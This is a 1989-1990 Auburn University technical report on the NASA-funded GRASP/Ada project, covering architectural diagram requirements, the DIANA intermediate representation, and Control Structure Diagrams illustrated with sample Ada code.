**Representation of scope of private functions and procedures.** Ada allows packages to have private functions and procedures which are only callable by other functions and procedures in that package. Traditional architectural diagrams have no provision for showing this.
**Representation of recursion.** Ada, like most other high level procedural languages, supports both direct and indirect recursion. Although simple methods for depicting this on a structure chart have been developed in the past, a representation more suitable for Ada must be devised.
**Representation of functions passed as parameters.** Ada allows functions to be passed as parameters in the instantiation of generics. Traditional architectural diagrams have no means for showing components passed as parameters in an invocation.
**Representation of embedded packages and tasks.** Ada allows packages, procedures and tasks to be declared anywhere in a program that variables and data types may be
declared. As a result, procedures with a dynamic lifetime may be declared that are callable by the component in which they are embedded but only for the scope of their declaration. There is no convention for showing this on an architectural diagram.
*Representation of physical components of software.* Traditionally, architectural diagrams show only the logical architecture of software and ignore the physical architecture.
*Representation of architecture using layers.* As the needs of software systems become more and more complex, the size of such systems has grown dramatically, often beyond the point where a single person could readily understand the inner workings of the systems. To render these systems more presentable to the software engineer, it is necessary to develop some method for layering the architecture of the system so that it may be presented in successive degrees of abstraction.
*Representation of all Ada-specific components.* For an architectural diagram for Ada to be practical, it must represent all of the architectural components of the Ada programming language.
*Representation of visibility and connectivity.* To assist the maintenance programmer, visibility and connectivity must be represented on the architectural diagram.
### 2.3 Visual Computing Trends
In this section, current trends in visualization in computing are presented. While much of the discussion focuses on visual programming, the ideas are relevant to all phases or levels of graphical representations. Although relatively new to the automation environment, visual programming techniques provide an effective as well as
versatile means to perform a wide spectrum of analysis and design functions. It has been observed that the use of graphical representations to model, design, and evaluate complex programing processes greatly enhances the ability of the user to understand the process in question [SHU88, AMB89]. The concept of allowing a user to visualize information in an other than textual form is being utilized in numerous areas. The graphical representation of complicated or enormous quantities of information is currently being employed in the fields of data design, program design, program execution analysis, software engineering, visual programming languages as well as other applications.
The use of visual representations has evolved far beyond the simple mapping of textual data to that of a graphical representation. In fact, new developments in the field are leading to systems and environments that are graphically oriented by nature. Visual user interfaces modelled after Kay's paradigm of using overlapping windows, such as those found in Smalltalk, provide multiple views of a common internal database. Whenever any portion of the data is changed, all relevant views are updated to reflect that change. Graphically oriented language environments include Pecan, Cedar, and Software through Pictures [AMB89, FOR88].
Visual editing provides the user with the capability to modify existing programs or produce new ones through the use of templates that correctly reflect the language’s syntax. Such current systems include the Cornell Program Synthesizer editor and the Aloe editor used in Gandalf. Several other graphical editors enforce logical consistency through the addition of rules regarding the structure of a program. Higher Order Software’s Use.It and PegaSys are examples of systems that use this technique.
The utilization of visual technology to edit programs written in traditional languages has been joined by a new philosophy of programming paradigms under a category referred to as "naturally visual languages" [AMB89]. Under these language environments the basic language constructs are visual rather than textual. A variety of approaches are used in languages. The use of dataflow, constraints, form-based and program-by-demonstration paradigms serve as the bases for environment supported languages such as ThingLab, ThinkPad, and Rehearsal World [AMB89].
Somewhere between the visual programming language and the textual languages one finds Conic. This programming environment uses a combination of text and graphics to define "configurations" that collectively make up a program [KRA89]. It focuses on the functionality of processes, their control characteristics, and communication interaction.
Although much emphasis has been placed on the role visual programming plays in user interfaces, editors, and programming languages, its potential far exceeds this scope. As stated above, the use of graphical representations has showed itself to be extremely useful in any area that inherently has large quantities of complex information. Two such applications utilizing visual techniques as a means to better understand actual events include performance debugging, specifically in regard to multiprocessor systems, and concurrent computations [LEH89, ROM89].
Carnegie Mellon University has demonstrated the usefulness of visualization through its special software development environment known as the Parallel Programming and Instrumentation Environment or PIE. This system is designed to develop performance-
efficient parallel and sequential computations. This is accomplished by mapping parallel applications onto specific architectures, gathering data as they execute and producing graphical representations that reflect selected characteristics of the actual execution [LEH89].
The visualization of concurrent computations employs visual abstraction by "mapping from computational states to the states of graphical objects" [ROM89]. This approach has been used to insure the correctness of a process, consistency in execution and progress in the computation of a solution.
Visualization of programming has been demonstrated to be an effective means of representing complex processes, data structures, and computational events. The primary element that makes each of the systems examined above viable is its well defined utilization of graphical representations within the context of its application.
3.0 STATEMENT OF THE PROBLEM
In this section, the overall direction for the GRASP/Ada Phase 2 prototype is presented. First, the goals and objectives for the prototype are briefly discussed. Finally, the tentative architectural diagrams for Ada are introduced.
3.1 Overview
In Phase 1 of the GRASP/Ada project, the focus was on the algorithmic representation of Ada programs and the CSD (Control Structure Diagram) was developed to graphically depict Ada control constructs. In Phase 2, the focus shifts to the structural (or architectural) view of Ada, and new diagrams must be developed to represent this view. Although one diagram (the CSD) was sufficient to represent the algorithmic view of Ada, multiple diagrams are needed to adequately represent the structural view.
3.2 Introduction of Taxonomy
To assist in the development of a layered approach to the graphical depiction of Ada, a tentative taxonomy of graphical representations has been developed. This taxonomy defines five distinct views of Ada software: the code view, the algorithmic view, the connectivity view, the visibility view, and the logically related view (see Figure 7). Each of these views will be discussed in more detail below.
An Architectural GR Taxonomy
Figure 7. Taxonomy of Architectural Graphical Representations
The code view is the base view of Ada software, consisting of the source code itself. This code may be optionally augmented with some additional information such as line numbers, nesting data, and a cross-reference, but its low-level nature renders it difficult for the software engineer to quickly comprehend the code.
The algorithmic view of Ada is intended to enhance the code view by graphically representing control structures. The CSD developed in Phase 1 of the GRASP/Ada project serves this purpose by augmenting Ada code with small iconic representations of the various control structures. These graphics are embedded in the code in the area normally used for "white space", and thus coexist with the code without requiring significant spatial reorganization.
Phase 2 of the GRASP/Ada project is focused on the connectivity view and the visibility view of Ada. The connectivity view shows the architectural components of an Ada system with their invocation hierarchy and associated parameters. This view is most like the traditional structure chart, yet has been enhanced and represented by two distinct graphical representations in the GRASP/Ada system. The first is the Level 1 architectural diagram which consists of a "collapsed" CSD that shows the architectural components and the control logic that leads to the statements that show each of the components being invoked. The second graphical representation is the Level 2 architectural diagram that utilizes a traditional structure chart with appropriate modifications and extensions for Ada.
The visibility view of Ada represents a set of architectural components and their associated scopes, both static and dynamic. Whereas the connectivity view shows which
component are explicitly called (or invoked) by other components, the visibility view shows which components may be invoked by other components. This view also denotes the dependency relations among Ada software components, and will be graphically represented using modified Booch diagrams.
The logically related view of Ada will be the focus of the proposed Phase 3 of the GRASP/Ada project. This view shows the data flow among logically related groups of software architectural components, and may be considered an abstraction of the visibility view. Although the proposed GRASP/Ada graphical representations for this view have not yet been developed, it is believed that they will consist of a set of modified data flow diagrams and tasking diagrams.
3.3 Derivation of Base Set of Architectural Diagrams
In this section, the tentative base set of architectural diagrams for Phase 2 of the GRASP/Ada project are described. There are three proposed graphical representations for this phase: the Level 1 architectural diagram, the Level 2 architectural diagram, and the Level 3 architectural diagram. Each of these is discussed in more detail below.
3.3.1 Level 1 Architectural Diagram
The Level 1 architectural diagram bears a close resemblance to the CSD used for representing algorithmic details. This diagram is produced by taking a CSD for a given Ada program and removing all data declarations, data type and structures, and all "unimportant" code (see Figure 8). "Unimportant" code includes all simple statements that do not directly lead to the invocation of another software component. The Level
LEVEL 1 STACK EXAMPLE
package STACKS is
procedure CREATE_STACK (THE_STACK: out STACK);
procedure PUSH (THE_STACK: in out STACK; THE_ITEM: in NATURAL);
function POP (THE_STACK: in STACK) return NATURAL;
procedure PRINT_STACK (THE_STACK: in STACK);
end STACKS;
procedure SAMPLE_PACKAGE is
begin
CREATE_STACK(S);
for I in 1..100 loop
if THE_ELEMENT(I) = UNCOMPUTED then
PUSH(S,THE_ELEMENT(I));
end if;
end loop;
PRINT_STACK(S);
end SAMPLE_PACKAGE;
Figure 8. Collapsed Control Structure Diagram
1 architectural diagram may be thought of as a CSD that has been "collapsed" to show the architectural components which it includes, the invocations of such components, and the control logic leading to those invocations.
The Level 1 architectural diagram may be obtained using the CSD generator developed in Phase 1 of the GRASP/Ada project. Some tentative research into the feasibility of this approach leads to the possibility of this diagram being produced in O(N) time, where N is the number of statements in the source code.
3.3.2 Level 2 Architectural Diagram
The Level 2 architectural diagram may be thought of as an extensively modified structure chart that has been customized for Ada. The diagram consists of two parts: a set of modules, which define Ada architectural components such as procedures and functions, and a set of control/data links, which define the invocation hierarchy among the components and the data passed among them (see Figure 9).
Modules are depicted using a compartmented box, with each Ada procedure, function, task and overloaded operator mapping into distinct boxes. The upper compartment is used to indicate the overall flow of imports and exports into and out of the module. An IN indicator shows that all of the parameters passed to the module are of type IN. An OUT indicator shows that all of the parameters passed to the module are of type OUT. An IN/OUT indicator shows that the parameters passed to the module may be of type IN, OUT, or IN/OUT. Finally, a null indicator shows that the module has no parameters. Note that the graphical nature of the indicator allows the software engineer to quickly determine the overall flow of data among a
Level 2 Architectural Diagrams (Tentative)
MODULES
Imports/Exports
Imports/Exports
Generic Instantiation Types
Package Name
File Name
Procedure Name
Icon
Coupling
Side Effects
In
Out
In/Out
CONTROL/DATA LINKS
Procedure Call
Task Rendezvous
Figure 9. Tentative Graphical Construct for Level 2
program's architecture.
The second and third compartments in the modules indicate the logical and physical names associated with the module. The logical name shows the name of the logical structure (usually a package) in which the module is directly embedded, if such a structure exists. The physical name shows the name of the file containing the specification for the module. With these two pieces of information, the software engineer can easily determine where a particular module fits into the logical architecture of a system as well as find the code associated with the module.
The fourth compartment in the modules indicates the name of the software architectural component. This name may correspond to either a procedure, a function, a task, or an overloaded operator.
The data in the fifth compartment in the module will not be automatically generated, but will allow the software engineer to customize a reverse engineered system for ready visual reference. The engineer may define an icon for each package in a system that can be included in the architectural diagrams. For example, a stack icon might be created to visually set apart those modules which are part of a stack package.
The sixth compartment in the modules indicates the type of coupling that the module shares with the component that invoked it. Although determining formal coupling as defined by Myers is a difficult problem, there have been attempts at determining coupling using program metrics. It is this approach that the GRASP/Ada project will take in determining the degree of coupling among software architectural components.
The inclusion of an arrowhead on the right side of a module indicates that the module exhibits side effects. Typically, this pinpoints the use of a data item or data structure that was not declared within the module or passed to it. Although well-designed systems refrain from using this approach whenever possible, it does frequently occur in practice and can lead to frustration when trying to understand a complex system.
The last compartment in the modules is used to indicate a generic instantiation. If the module was instantiated from a generic template, the data types used to instantiate the module are listed along the left edge. In this way, identical modules that operate on distinct data types may be easily distinguished in the architectural diagram.
Control/data links are shown using a solid line in most cases. However, when one of the two components in an invocation is a task, a dashed line is used to indicate a rendezvous is in progress. This suggests that a task rendezvous is similar to a procedure call, which is a reasonable analogy. A procedure call might be thought of as a task rendezvous where the task that initiated the rendezvous suspends execution until the task with which it rendezvoused ceases its execution. An example of a Level 2 architectural diagram for a stack package is shown in Figure 10.
3.3.3 Level 3 Architectural Diagram
The Level 3 architectural diagrams will show the visibility view of Ada rather than the connectivity view exhibited by the Level 1 and 2 diagrams. Although the diagrams are still under development at this time, they will be based upon the Booch diagram and will convey the dependency information that the Booch diagrams exhibit, while
Figure 10. Level 2 Construct Example
extending the diagrams to more fully suit Ada and customizing them for inclusion in the GRASP/Ada system.
4.0 PRELIMINARY REQUIREMENTS
The prototype tool in Phase 2 of GRASP/Ada will be a reverse engineering tool for automatically deriving graphical representations of Ada source code. Graphical representations include the Control Structure Diagram for depicting control flow and various hierarchical diagrams. The hierarchical diagrams will include forms of:
-- Subprogram invocation graphs
-- Package/compilation unit dependency diagrams
The tool requirements are outlined below.
4.1 Functional Requirements
The following sections describe the requirements for the functionality of the tool. Discussed are the requirements for the input of source code to the tool, the processing of the code by the tool, and the display and printing of results by the tool.
4.1.1 Input Requirements
The user will have several modes of inputting Ada code to the tool. These alternatives are described below. For instance, input can proceed via an editor linked to the tool (e.g. vi). For the Phase 2 tool, editing capabilities will be text editing only, rather than syntax-directed editing. In addition, no incremental recompilation or reconstruction of diagrams will occur during the editing process. Finally, editor-based input must be done within the context of a "GRASP library". In other words, the
edited file must be associated with the current GRASP library, or else another GRASP library must be specified. See 4.4 System Software Requirements for more on GRASP libraries.
A second input alternative involves the querying of an existing Ada library (for instance, a VADS library). Such a scheme seems feasible because an Ada library should contain all dependency information among units within a system. This option has been discarded, however, due to schedule constraints and because such an input scheme could become too dependent upon the format chosen by a compiler vendor for its library files.
A third alternative for input involves the direct entry of or selection of file names. The file names need not reflect the true compilation order, since one of the purposes of the tool is to determine that order.
4.1.2 Processing Requirements
This section will describe the general scenario of tool operation. Once the user has selected the Ada files to submit to the tool, he will invoke compilation of the selected files, in turn producing an intermediate form of the Ada code (e.g. DIANA nets) for each unit compiled, deriving dependency information among the units compiled (including noting deficiencies in the supplied compilation list), and creating appropriate entries in the selected GRASP library.
Once the needed information is derived and stored in the GRASP library, the user will select the diagrams that he wishes to generate. The tool will then generate the necessary graphical descriptions. Among the options open to the user are:
-- CSD:
The user will select units in compilation set for which he wishes to see CSDs;
-- Collapsed CSD
-- Subprogram invocation graph
-- Object/Package diagram:
The notation introduced by Booch [BOO87a, BOO87b, BOO86, BOO83] is the leading candidate for this. An object/package diagram will show the seniority relationship among units (as defined by with clauses) as well as the existence of separate specifications and bodies. If a package is composed of units unknown outside that package then a separate object/package diagram will be required to display the interrelationships among the composing units.
It is envisioned that the architectural diagrams will be divided into components corresponding to the subprograms or units that they represent. The display mechanism will bring together the components when needed.
Once the tool has created the desired diagrams, the user will select the particular diagrams that he wishes to display. See section 4.1.3 Display Requirements for more details on display options.
The tool should maintain consistency of diagram (or diagram component) to code to the extent of noting when a diagram (or diagram component) has become obsolete through editing of corresponding code. The tool should have the ability to add new units or supply missing units and determine scope of subsequent recompilation.
The tool should detect incompleteness in the compilation list initially submitted. Also, inconsistency between specifications and bodies should be flagged. Finally, the tool should flag any error that would be found by a validated Ada compiler; however, the system should be capable of processing and displaying diagrams which represent incomplete programs.
4.1.3 Display Requirements
Once the tool has generated diagrams, the user will select which diagrams he wishes to display. He should choose from the four views available (i.e. CSD, Collapsed CSD, subprogram invocation graph, object/package diagram). Each view selected will have its own display window. Display layout should be improved by a rule base which specifies heuristics for icon placement and connection.
4.1.4 Output Requirements
To print an entire diagram requires reconstruction of the diagram in a work buffer (screen). It should be possible to print a single component of an architectural diagram (e.g. a completely specified component of an object/package diagram, showing applicable operations). All printing should be submitted to a PostScript printer.
4.2 User Interface Requirements
The user interface should be a window-based environment with diagrammatic views displayed in individual windows. Command selection should be based on pull-down/pop-up menus. Mouse selection of command options and of diagrams on which to exercise those options should be allowed. X Windows is currently the leading candidate; however, the final decision will be based on available tools of the Ada environment in which the prototype is built.
4.3 Hardware Requirements
The intended platform for development and distribution will be a Sun/SPARC workstation. The advanced graphics capability of this system was a primary consideration. Other options included the VAX 11-780 and a PC environment.
4.4 System Software Requirements
The system software includes a base operating system (which supports a windowing environment) and an Ada compiler/development system. Ideally, the GRASP/Ada tools require access to the intermediate form generated by the compiler. One such example of this intermediate form is DIANA which is described briefly below.
4.4.1 DIANA--An Intermediate Representation for Ada
DIANA, Descriptive Intermediate Attributed Notation for Ada, is an intermediate representation language for Ada source code. DIANA is called a "language" because its definition [GOO83] is described in a BNF-like notation known as Interface Description Language (IDL) [NES81, GOO83, McK86]; in reality, DIANA is an abstract data type whose model is that of an abstract syntax tree supplemented with semantic links, creating a DIANA net. A DIANA net consists of typed nodes decorated with four types of attributes: (1) syntactic (links to other nodes producing the tree), (2) semantic (producing a directed acyclic graph), (3) lexical, and (4) code generation-specific. An instance of DIANA with only lexical and syntactic attributes comes close to a comparable abstract syntax tree except that some similar nodes (e.g.
nodes referencing identifiers) are typed differently so that each type may contain
different semantic attributes. In addition, a storable form of DIANA is defined to
facilitate reuse of specific instances of the data type. [GOO83, ROS85]
Figure 11 partially illustrates the contents of a DIANA subnet corresponding to a
segment of Ada code. Consider the following segment:
\[
type \text{MYFLOAT} \text{ is digits 6 range -1.0..1.0;}
\text{subtype MYFLOAT2 is MYFLOAT digits 2;}
X : MYFLOAT2;
\]
The figure illustrates in part the concurring DIANA subnet. For convenience, the
diagram is split into three sections paralleling the subnet for each line in the above
code. These three subnets are part of a larger DIANA net for the enclosing unit. The
subnet for the variable declaration has its basic abstract syntax tree form (syntactic
attribute names prefixed by \textit{as}), supplemented by a semantic attribute (named
\textit{sm\_type\_struct}) pointing back to a subnet containing the subtype structure of
MYFLOAT2. This subnet, in turn, has its own semantic attribute (again named
\textit{sm\_type\_struct}) pointing back to the underlying type structure. This figure, adapted
from [GOO83], is incomplete in that many more semantic attributes exist which may
point to distant subnets when evaluated.
DIANA was first developed in 1981 by the cooperative effort of teams from the
University of Karlsruhe (West Germany), Carnegie Mellon University, Intermetrics, and
Softech. The design was based on previous intermediate languages TCOL [BRO80,
GOO83, McK86] and AIDA [DAU80, PER80, GOO83, McK86]. A revision effort
headed by Arthur Evans, Jr. and Kenneth J. Butler at Tartan Laboratories under the
auspices of the Ada Joint Program Office produced a revision of DIANA based on the
type MYFLOAT is digits 6 range -1.0..1.0;
subtype MYFLOAT2 is MYFLOAT digits 2;
X: MYFLOAT2;
Figure 11. DIANA Subnet Example
1982 version of the Ada definition. This edition contained an Ada package specification for the DIANA data type. [GOO83] A third revision was drafted in 1986 by Carl F. Schaefer and Kathryn L. McKinley of Intermetrics for the Naval Research Laboratories; however, no example Ada package specification for the DIANA type was provided. [GOO83, McK86, SMI88] The MITRE Corporation derived two package specifications in its effort to evaluate the 1986 version of DIANA. [SMI88]
The original purpose of the DIANA data type was to serve as a basis for communication between early and late stages of compilers [GOO83]; in fact, [SMI88] mentions several compilers which are DIANA-based including VERDIX, Rational, and others. However, [GOO83] claims the suitability of DIANA for other tools as well. Several of these tools are mentioned below along with discussions of their DIANA implementations.
[ROS85] is concerned with the use of DIANA data type templates to create source "transformation tools". However, the article was useful in that it demonstrates the necessary contents of a DIANA support toolset. As described by Rosenblum, the necessary tools include a parser to translate Ada source into an abstract syntax tree, a "tree normalizer" to convert the AST to a full DIANA net, a pretty printer to revert the DIANA net to Ada source, a "tree dumper" to convert the internal DIANA to external (ASCII) DIANA, and a "tree reader" to perform the inverse function. The tools described in [ROS85] were based on the 1983 version of DIANA.
[SMI88] describes the MITRE effort in evaluating the 1986 version of DIANA. This involved the translation of the IDL specification for DIANA into a data type and structure specification plus operations on that type using the IDL Toolkit developed at
the University of North Carolina. [WAR85, SNO86, SMI88, SHA89] Also required were the development of a parser and a set of packages to connect the semantic links of the underlying DIANA tree.
[MEN89] describes the Stanford implementation of Anna, a superset language of Ada containing formal annotations. The manual describes the tools which comprise the Anna toolset and outlines scenarios for their use. Most of these tools work with DIANA nets in varying stages of development. The DIANA implementation is based on the 1983 version of DIANA and on the work described in [ROS85].
The major tool dealing with DIANA is in fact the package \texttt{ast_v.a} which provides the definition of the DIANA type, of constituent types, and of the operations on those types. In addition to the node types mentioned in [GOO83], there are node types which are specific to Anna and are not defined in standard DIANA. There is a parser which translates Anna source code (or presumably pure Ada code) into a DIANA abstract syntax tree with possible Anna-specific nodes. A semantic processor adds the semantic links, changing the tree into a directed acyclic graph. A transformer translates the Anna-specific subnets into pure Ada-based DIANA.
There are other support tools such as a DIANA reader/dumper, a DIANA-to-Anna (or Ada) pretty printer, and a parser generator complete with an Anna grammar.
An interesting problem which could have arisen with the use of this toolset would be the possible overhead resulting from the fact that the toolset implements a superset of Ada (e.g. the use of the transformer). Another problem which could have proven troublesome is the incompleteness in the implementation of Ada semantics.
Currently, the team is considering using the DIANA interface used by the VERDIX VADS compiler. It is unknown at this time exactly what facilities are provided by this interface and by the compiler as a whole (although sales literature has alluded to certain features such as automatic determination of compilation order). In fact, the feasibility of many of the tool requirements specified herein is contingent on the nature of the VADS facilities available to the project.
In general, DIANA would be useful to the project in that it provides a fairly standard persistent representation which will be needed to derive many of the graphical representations described herein. However, there are several deficiencies inherent to DIANA which would have to be addressed. One such deficiency is the lack of connectivity of DIANA nets corresponding to different units. For instance, a package body DIANA net will point back to the DIANA net corresponding to the package specification, but not vice versa. While this instance and other similar instances were conscious design decisions of the DIANA developers (i.e. not to allow "forward references") [GOO83, McK86], this constraint would impede the tool's ability to associate specifications and bodies bidirectionally. These deficiencies will have to be addressed in library management.
Another serious issue is the sheer size of a DIANA net in relation to corresponding code. If the external representation of a DIANA net were in ASCII form as described in [GOO83], then storage constraints could be rather confining. [SMI88]
4.4.2 Library Management
The purpose of a GRASP library is to maintain information on an Ada system needed to produce appropriate graphical representations. Among the necessary tasks of the library will be to maintain hierarchical relationships of various sorts among the program units in the system. It is envisioned that the library would act as a supplement to DIANA in the areas of deficiency mentioned earlier were DIANA chosen as the intermediate representation.
The entity-relationship database model is recommended for APSE databases [McD84, LYO86]; such a choice is quite appropriate given the variety of relationships among units of an Ada program. For each unit (whether such a unit is embedded within another or not), the library should contain, among other things, the name of the unit, its intermediate representation, a file name and position where the unit can be located, a timestamp, and any graphical representation heretofore created corresponding particularly to that unit. Each unit can be related by various forms of hierarchy, and this relationship will be reflected the library structure as well.
The library command structure will probably follow the command structure of the underlying system or of Stoneman requirements.
4.4.3 Graphics Tools Requirements
Tools will be required to produce icons appropriate for the diagrams expected to be produced by the GRASP tool. Since the X Windows system is the prime candidate as the interface construction tool, the X Windows graphics facilities are likewise the prime contender as the icon construction tool.
5.0 FUTURE WORK (December 1989 - May 1990)
The work planned for December 1989 through May 1990 is summarized in the GANT chart on the next page. The most critical decision that must be made in the immediate future concerns the selection of a commercial Ada environment in which to build the Phase 2 prototype. VERDIX Corporation and TeleSoft each have Ada environments that run on the Sun-4 platform. Negotiations are in progress regarding access to their respective intermediate representations of Ada. VERDIX uses a subset of DIANA and Telesoft uses a more efficient (time/space) representation called High Form. Either of these will provide the functionality needed for the Phase 2 prototype.
The formulation of the base set of architectural diagrams is expected to be ongoing. Three distinct diagrams have been identified for inclusion in the Phase 2 prototype: Collapsed Control Structure Diagram, Structure Chart, and Object/Package Diagram. The detailed requirements for the unparsing/display algorithms for each of these will be developed as the base set is established.
The system dictionary or GRASP library may be implemented directly by supplementing the DIANA software received from Stanford or indirectly by interfacing with the intermediate forms of Ada (DIANA or High Form) generated by the commercial Ada development environment. The latter is preferred since it would provide a complete integrated, operational environment in which to evaluate the GRASP/Ada reverse engineering tools.
BIBLIOGRAPHY
Appendix A
GRASP/Ada Control Structure Diagram
GRASP/Ada Control Structure Diagrams
James H. Cross II
Computer Science and Engineering
Auburn University, AL 36849
(205) 844-4330
Overview
The GRASP/Ada (Graphical Representation of Algorithms, Structure, and Processes for Ada\(^1\)) Project\(^2\) at Auburn University is a research effort focused on design, analysis and reverse engineering of Ada software and, in particular, the creation of software tools for extraction and generation of graphical representations from Ada/PDL or source code. Our primary motivation for reverse engineering is increased support for software reusability and software maintenance, both of which should be greatly facilitated by automatically generating a set of "formalized diagrams" to supplement the source code and other forms of existing documentation. The overall goal of the GRASP/Ada project is to provide the foundation for a CASE (computer-aided software engineering) environment in which reverse engineering and forward engineering (development) are tightly coupled. In this environment, the user may specify the software in a graphically-oriented language and then automatically generate the corresponding Ada code. Alternatively, the user may specify the software in Ada or Ada/PDL and then automatically generate the graphical representations either incrementally as the code is entered or as a form of post-processing.
\(^1\)"Ada" is a registered trademark of the the U.S. Government, Ada Joint Program Office.
\(^2\)This project is funded, in part, by George C. Marshall Space Flight Center, NASA/MSFC, Alabama 35812.
Figure 1 shows the project divided into three phases, each of which corresponds to one of the following broad categories of graphical representations: (1) algorithmic (PDL/Code), (2) architectural, and (3) system level diagrams. Each of these categories may contain overlapping entries that depict, for example, data structure, data flow, or other useful relationships. Phase 1 of GRASP/Ada has been completed and a new PDL/code level graphical notation and supporting software tool is now available for evaluation. Phase 2 of the research is currently underway.
**Phase 1: The Control Structure Diagram For Ada**
As the complexity of software has increased, so has the utility of graphical representations for algorithms. The industry has progressed well beyond the simple constructs of sequence, selection and iteration promoted by the theory of structured programming in the 1970's. For example, Ada includes control constructs for concurrency (tasks and task rendezvous), exception handling, and loop exits, none of which fits well into the simple sequential control constructs of structured programming. Since the ANSI flowchart was introduced in the mid-50's, numerous notations have been proposed and utilized. These notations typically include control constructs for sequence, selection, and iteration, and several include constructs for concurrency and exits; however, none explicitly contains all of the control constructs found in Ada.
For the GRASP/Ada project, we selected the Control Structure Diagram (CSD)\(^2\) as a basis for a graphical representation that maps directly to Ada control constructs. The CSD is a graphical notation intended to increase the comprehensibility of Ada PDL or
source code by explicitly depicting control constructs and control flow. The traditional
textual representation of PDL or source code has been extended with intuitive graphical
constructs which are easily adaptable to editors and printers. The CSD has the attractive
property that it can be overlaid directly on prettyprinted Ada code. In fact, a CSD
generator may be perceived as a "graphical prettyprinter." Figure 2(a) contains an Ada
task body adapted from Barnes\textsuperscript{3} which continually loops through a priority list until it
receives a request for a rendezvous or alternatively reaches the end of the list. In either
case, the scan of the list is restarted at the head of the list to service higher priorities first.
Figure 2(b) shows the corresponding CSD which highlights the control paths of the nested
loops, the select and the task rendezvous. The improved readability provided by the CSD
reduces the time required to understand the code (i.e., misinterpretations are reduced as
well as all of the time lost as a result). This is especially important during code or PDL
reviews and maintenance when readers are not intimate with the code. Figure 3 contains
each of the individual CSD constructs for Ada.
The creation of a prototype software tool to support the generation of the CSD
from source code was relatively straightforward. We used a scanner and parser generator
which accepted as input a grammar for Ada with embedded calls to the routines which
generate the graphical constructs. The CSD offered a simple presentation format to the
screen and printer in that the diagrams can be composed of characters from a custom font
thus allowing the diagram and code to co-exist in the same ASCII file.
A user-friendly and relatively portable interface provides the user with the capability
to specify options quickly without having to learn cumbersome command languages. The
user has the option to choose from a variety of line spacings, font styles, printers, etc.
All options are visible onscreen and can be selected and modified using only the terminal cursor keys and the RETURN key. The user may preview the CSD before printing with a specially modified version of the VAX EVE editor. The editor allows the user to suppress the CSD to display conventional prettyprinted code. Version 2 of the prototype will support (1) collapsing the diagram based on the constructs of Ada, (2) editing the diagram directly, and (3) updating the diagram incrementally.
Phase 2: Architectural Diagrams For Ada
The Phase 2 prototype, which includes a collapsed version of the CSD as well versions popular diagrams such as Yourdon's structure chart and Booch's Object/package notation, is currently under development. It is loosely integrated with a commercially available Ada environment through an interface to the intermediate representation of Ada generated from the compiler. The Phase 2 prototype is expected to be available for initial evaluation in Fall 1990.
References
Figure 1. GRASP Overview
```ada
task body CONTROLLER is
begin
loop
for P in PRIORITY loop
select
accept REQUEST(P) (D:DATA) do
ACTION(D);
end;
exit;
else
null;
end select;
end loop;
end loop;
end CONTROLLER;
```
Figure 2(a). Sample Ada Source Code.
```ada
begin
loop
for P in PRIORITY loop
select
accept REQUEST(P) (D:DATA) do
ACTION(D);
end;
exit;
else
null;
end select;
end loop;
end loop;
end CONTROLLER;
```
Figure 2(b). Sample Ada Source Code Overlaid with Control Structure Diagram.
Hi
Figure 3 (Continued). Control Structure Diagram (CSD) Constructs For Ada
-- SELECT
\[ \text{select } \]
- accept I do
- \[ S; \]
- \[ \text{end;} \]
or
- accept J do
- \[ S; \]
- \[ \text{end;} \]
else
- \[ S; \]
- \[ \text{end select;} \]
-- TASK SPECIFICATION
\[ \text{task } \]
\[ \text{task body } Y \text{ is } \]
- \[ \text{begin} \]
- \[ S; \]
- \[ S; \]
- \[ S; \]
- \[ \text{end;} \]
-- RENDEZVOUS (RECEIVER)
\[ S; \]
- accept C do
- \[ S; \]
- \[ S; \]
- \[ S; \]
- \[ \text{end;} \]
-- GUARDED SELECT
\[ S; \]
\[ \text{select when } C1 \rightarrow \]
- accept M do
- \[ S; \]
- \[ \text{end;} \]
or
- when \( C2 \rightarrow \)
- accept N do
- \[ S; \]
- \[ \text{end;} \]
end select;
-- TERMINATE ALTERNATIVE
\[ S; \]
\[ \text{select} \]
- accept F do
- \[ S; \]
- \[ \text{end;} \]
or
\[ \text{terminate;} \]
end select;
end;
-- ABORT
\[ \text{task body } P \text{ is } \]
\[ \text{begin} \]
- \[ S; \]
\[ \text{abort } P; \]
\[ \text{end;} \]
---
Figure 3 (Continued). Control Structure Diagram (CSD) Constructs For Ada
|
{"Source-Url": "http://eng.auburn.edu/files/acad_depts/csse/csse_technical_reports/csse90-01.pdf", "len_cl100k_base": 14261, "olmocr-version": "0.1.53", "pdf-total-pages": 65, "total-fallback-pages": 0, "total-input-tokens": 74295, "total-output-tokens": 19037, "length": "2e13", "weborganizer": {"__label__adult": 0.0003020763397216797, "__label__art_design": 0.00043392181396484375, "__label__crime_law": 0.0002276897430419922, "__label__education_jobs": 0.00091552734375, "__label__entertainment": 5.418062210083008e-05, "__label__fashion_beauty": 0.00014293193817138672, "__label__finance_business": 0.00018978118896484375, "__label__food_dining": 0.00023221969604492188, "__label__games": 0.00047850608825683594, "__label__hardware": 0.0008978843688964844, "__label__health": 0.0003223419189453125, "__label__history": 0.0002491474151611328, "__label__home_hobbies": 8.881092071533203e-05, "__label__industrial": 0.0003292560577392578, "__label__literature": 0.0002225637435913086, "__label__politics": 0.0001748800277709961, "__label__religion": 0.0003650188446044922, "__label__science_tech": 0.01519775390625, "__label__social_life": 6.92605972290039e-05, "__label__software": 0.0060577392578125, "__label__software_dev": 0.97216796875, "__label__sports_fitness": 0.0002334117889404297, "__label__transportation": 0.0004427433013916016, "__label__travel": 0.00015485286712646484}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 77185, 0.025]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 77185, 0.75302]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 77185, 0.9006]], "google_gemma-3-12b-it_contains_pii": [[0, 285, false], [285, 673, null], [673, 1712, null], [1712, 4438, null], [4438, 4489, null], [4489, 6111, null], [6111, 7825, null], [7825, 7971, null], [7971, 9775, null], [9775, 11612, null], [11612, 13429, null], [13429, 14160, null], [14160, 15558, null], [15558, 17142, null], [17142, 17168, null], [17168, 18984, null], [18984, 19005, null], [19005, 19107, null], [19107, 20926, null], [20926, 22609, null], [22609, 22661, null], [22661, 22990, null], [22990, 24665, null], [24665, 26290, null], [26290, 28054, null], [28054, 29684, null], [29684, 31504, null], [31504, 33216, null], [33216, 34113, null], [34113, 35325, null], [35325, 35417, null], [35417, 37146, null], [37146, 38756, null], [38756, 39279, null], [39279, 40971, null], [40971, 41280, null], [41280, 42896, null], [42896, 